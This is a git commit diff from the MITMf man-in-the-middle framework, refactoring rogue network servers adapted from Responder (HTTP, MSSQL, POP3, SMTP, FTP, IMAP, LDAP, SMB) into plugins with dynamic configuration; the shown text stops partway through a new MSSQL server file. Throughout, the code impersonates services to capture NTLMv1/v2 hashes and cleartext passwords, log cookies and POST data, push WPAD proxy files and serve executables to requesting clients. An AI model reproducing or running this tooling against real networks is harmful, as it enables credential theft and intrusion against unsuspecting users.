All plugins are now modified to support dynamic config file changes

Responder functionality fully restored
This commit is contained in:
byt3bl33d3r 2015-05-05 19:04:01 +02:00
commit 70ec5a2bbc
50 changed files with 2102 additions and 798 deletions

View file

@ -13,9 +13,7 @@ class ConfigWatcher(FileSystemEventHandler):
_instance = None
def __init__(self):
self.config = ConfigObj("./config/mitmf.conf")
config = ConfigObj("./config/mitmf.conf")
@staticmethod
def getInstance():

View file

@ -416,6 +416,7 @@ class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
class DNSChef(ConfigWatcher):
_instance = None
version = "0.4"
tcp = False
ipv6 = False

View file

@ -45,6 +45,8 @@ http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|co
class NetCreds:
version = "1.0"
def sniffer(self, myip, interface):
#set the filter to our ip to prevent capturing traffic coming/going from our box
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0)

View file

@ -1,240 +0,0 @@
##################################################################################
#HTTP Proxy Stuff starts here (Not Used)
##################################################################################
class HTTPProxy():
def serve_thread_tcp(host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
def start(on_off):
if on_off == "ON":
t = threading.Thread(name="HTTP", target=self.serve_thread_tcp, args=("0.0.0.0", 80,HTTP))
t.setDaemon(True)
t.start()
if on_off == "OFF":
return False
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
if NthashLen == 24:
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
WriteData(outfile,WriteHash, User+"::"+Hostname)
responder_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
responder_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
responder_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
responder_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
WriteData(outfile,WriteHash, User+"::"+Domain)
responder_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
responder_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
responder_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
responder_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
responder_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
def GrabCookie(data,host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
responder_logger.info(CookieStr)
return Cookie.group(0)
else:
NoCookies = "No cookies were sent with this request"
responder_logger.info(NoCookies)
return NoCookies
def WpadCustom(data,client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
buffer1 = WPADScript(Payload=WPAD_Script)
buffer1.calculate()
return str(buffer1)
else:
return False
def WpadForcedAuth(Force_WPAD_Auth):
if Force_WPAD_Auth == True:
return True
if Force_WPAD_Auth == False:
return False
# Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic):
if Basic == True:
return IIS_Basic_401_Ans()
else:
return IIS_Auth_401_Ans()
def ServeEXE(data,client, Filename):
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
responder_logger.info(Message)
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def ServeEXEOrNot(on_off):
if Exe_On_Off == "ON":
return True
if Exe_On_Off == "OFF":
return False
def ServeEXECAlwaysOrNot(on_off):
if Exec_Mode_On_Off == "ON":
return True
if Exec_Mode_On_Off == "OFF":
return False
def IsExecutable(Filename):
exe = re.findall('.exe',Filename)
if exe:
return True
else:
return False
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
responder_logger.info(HostStr)
#print HostStr
if POST:
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
responder_logger.info(Host3Str)
#print Host3Str
if len(''.join(POSTDATA)) >2:
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
#print PostData
responder_logger.info(PostData)
#Handle HTTP packet sequence.
def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
buffer1.calculate()
return str(buffer1)
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01":
GrabURL(data,client)
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client)
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client)
if Verbose:
print Message
responder_logger.info(Message)
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
if BasicAuth:
GrabCookie(data,client)
GrabURL(data,client)
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client)
if Verbose:
print Message
responder_logger.info(Message)
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
else:
return str(Basic_Ntlm(Basic))
#HTTP Server Class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0])
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
if Verbose:
print Message
responder_logger.info(Message)
self.request.send(buff)
else:
buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0)
except Exception:
pass#No need to be verbose..

View file

@ -1,128 +0,0 @@
import struct
class MSSQLServer():
def serve_thread_tcp(host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
def start(SQL_On_Off):
if SQL_On_Off == "ON":
t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL))
t.setDaemon(True)
t.start()
return t
if SQL_On_Off == "OFF":
return False
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = True
def server_bind(self):
TCPServer.server_bind(self)
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
if NthashLen == 24:
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
responder_logger.info('[+]MsSQL NTLMv1 hash captured from :%s'%(client))
responder_logger.info('[+]MSSQL NTLMv1 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
responder_logger.info('[+]MSSQL NTLMv1 Domain is :%s'%(Domain))
responder_logger.info('[+]MSSQL NTLMv1 Complete hash is: %s'%(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NthashLen = struct.unpack('<H',data[30:32])[0]
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+NumChal+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain)
responder_logger.info('[+]MsSQL NTLMv2 hash captured from :%s'%(client))
responder_logger.info('[+]MSSQL NTLMv2 Domain is :%s'%(Domain))
responder_logger.info('[+]MSSQL NTLMv2 User is :%s'%(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
responder_logger.info('[+]MSSQL NTLMv2 Complete Hash is : %s'%(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
responder_logger.info('[+]MSSQL PlainText Password captured from :%s'%(client))
responder_logger.info('[+]MSSQL Username: %s Password: %s'%(UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()
##################################################################################
#SQL Stuff ends here
##################################################################################

View file

@ -1,69 +0,0 @@
##################################################################################
#POP3 Stuff starts here
##################################################################################
class POP3Server():
def serve_thread_tcp(host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
#Function name self-explanatory
def start(POP_On_Off):
if POP_On_Off == "ON":
t = threading.Thread(name="POP", target=serve_thread_tcp, args=("0.0.0.0", 110,POP))
t.setDaemon(True)
t.start()
return t
if POP_On_Off == "OFF":
return False
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class POPOKPacket(Packet):
fields = OrderedDict([
("Code", "+OK"),
("CRLF", "\r\n"),
])
#POP3 server class.
class POP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(POPOKPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
responder_logger.info('[+]POP3 User: %s'%(User))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
#print "[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass)
responder_logger.info("[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass))
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
else :
t = POPOKPacket()
self.request.send(str(t))
data = self.request.recv(1024)
except Exception:
pass
##################################################################################
#POP3 Stuff ends here
##################################################################################

View file

@ -1,7 +1,8 @@
import logging
import sys
import threading
from impacket import smbserver, LOG
from impacket import version, smbserver, LOG
from core.configwatcher import ConfigWatcher
LOG.setLevel(logging.INFO)
LOG.propagate = False
@ -16,11 +17,14 @@ streamHandler.setFormatter(formatter)
LOG.addHandler(fileHandler)
LOG.addHandler(streamHandler)
class SMBserver:
class SMBserver(ConfigWatcher):
impacket_ver = version.VER_MINOR
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile)
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start)

View file

@ -1,63 +0,0 @@
##################################################################################
#ESMTP Stuff starts here
##################################################################################
class SMTP():
def serve_thread_tcp(self, host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
#Function name self-explanatory
def start(self, SMTP_On_Off):
if SMTP_On_Off == "ON":
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=("0.0.0.0", 25,ESMTP))
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=("0.0.0.0", 587,ESMTP))
for t in [t1, t2]:
t.setDaemon(True)
t.start()
if SMTP_On_Off == "OFF":
return False
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#ESMTP server class.
class ESMTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(SMTPGreating()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
Username = b64decode(data[:len(data)-2])
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
Password = b64decode(data[:len(data)-2])
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
responder_logger.info("[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password))
except Exception:
pass
##################################################################################
#ESMTP Stuff ends here
##################################################################################

View file

@ -1,6 +1,6 @@
#common functions that are used throughout the Responder's code
import os
import re
#Function used to write captured hashs to a file.

View file

@ -1,25 +1,25 @@
##################################################################################
#FTP Stuff starts here
##################################################################################
import socket
import threading
import logging
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class FTPServer():
def serve_thread_tcp(host, port, handler):
def start(self):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
#Function name self-explanatory
def start(FTP_On_Off):
if FTP_On_Off == "ON":
t = threading.Thread(name="FTP", target=self.serve_thread_tcp, args=("0.0.0.0", 21, FTP))
mitmf_logger.debug("[FTPServer] online")
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
t = threading.Thread(name="FTPServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
if FTP_On_Off == "OFF":
return False
except Exception, e:
mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -45,8 +45,7 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
#print "[+]FTP User: ", User
responder_logger.info('[+]FTP User: %s'%(User))
mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User))
t = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(t))
data = self.request.recv(1024)
@ -54,8 +53,7 @@ class FTP(BaseRequestHandler):
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
#print "[+]FTP Password is: ", Pass
responder_logger.info('[+]FTP Password is: %s'%(Pass))
mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass))
t = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(t))
data = self.request.recv(1024)
@ -63,9 +61,5 @@ class FTP(BaseRequestHandler):
t = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(t))
data = self.request.recv(1024)
except Exception:
pass
##################################################################################
#FTP Stuff ends here
##################################################################################
except Exception as e:
mitmf_logger.error("[FTPServer] Error handling request: {}".format(e))

View file

@ -16,21 +16,8 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#IMAP4 Greating class
class IMAPGreating(Packet):

View file

@ -1,26 +1,23 @@
##################################################################################
#IMAP4 Stuff starts here
##################################################################################
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from IMAPPackets import *
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class IMAPServer():
def serve_thread_tcp(host, port, handler):
def start(self):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
#Function name self-explanatory
def start(IMAP_On_Off):
if IMAP_On_Off == "ON":
t = threading.Thread(name="IMAP", target=self.serve_thread_tcp, args=("0.0.0.0", 143,IMAP))
mitmf_logger.debug("[IMAPServer] online")
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
t = threading.Thread(name="IMAPServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
if IMAP_On_Off == "OFF":
return False
except Exception, e:
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -46,13 +43,9 @@ class IMAP(BaseRequestHandler):
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Credentials, Credentials)
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
responder_logger.info('[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials))
mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
self.request.send(str(ditchthisconnection()))
data = self.request.recv(1024)
except Exception:
pass
##################################################################################
#IMAP4 Stuff ends here
##################################################################################
except Exception as e:
mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e))

View file

@ -17,22 +17,8 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([

View file

@ -1,25 +1,27 @@
##################################################################################
#LDAP Stuff starts here
##################################################################################
import struct
import logging
import threading
import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from LDAPPackets import *
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class LDAPServer():
def serve_thread_tcp(self, host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
def start(self, chal):
global Challenge; Challenge = chal
#Function name self-explanatory
def start(self, LDAP_On_Off):
if LDAP_On_Off == "ON":
t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP))
try:
mitmf_logger.debug("[LDAPServer] online")
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
t = threading.Thread(name="LDAPServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
if LDAP_On_Off == "OFF":
return False
except Exception, e:
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -54,15 +56,15 @@ def ParseLDAPHash(data,client):
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
WriteData(Outfile,writehash,User+"::"+Domain)
#print "[LDAP] NTLMv1 complete hash is :", writehash
responder_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
if LMhashLen <2 :
Message = '[+]LDAP Anonymous NTLM authentication, ignoring..'
Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..'
#print Message
responder_logger.info(Message)
mitmf_logger.info(Message)
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
@ -91,8 +93,8 @@ def ParseLDAPPacket(data,client):
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,'[LDAP]User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
responder_logger.info('[LDAP]User: %s Password: %s'%(UserDomain,Password))
WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password))
if sasl == "\xA3":
buff = ParseNTLM(data,client)
return buff
@ -100,7 +102,7 @@ def ParseLDAPPacket(data,client):
buff = ParseSearch(data)
return buff
else:
responder_logger.info('[LDAP]Operation not supported')
mitmf_logger.info('[LDAPServer] Operation not supported')
#LDAP Server Class
class LDAP(BaseRequestHandler):
@ -115,7 +117,3 @@ class LDAP(BaseRequestHandler):
self.request.send(buffer0)
except Exception:
pass #No need to print timeout errors.
##################################################################################
#LDAP Stuff ends here
##################################################################################

View file

@ -16,21 +16,8 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#MS-SQL Pre-login packet class
class MSSQLPreLoginAnswer(Packet):

View file

@ -0,0 +1,127 @@
import struct
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
class MSSQLServer():
def start(self, chal):
global Challenge; Challenge = chal
try:
mitmf_logger.debug("[MSSQLServer] online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = True
def server_bind(self):
TCPServer.server_bind(self)
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
if NthashLen == 24:
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NthashLen = struct.unpack('<H',data[30:32])[0]
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
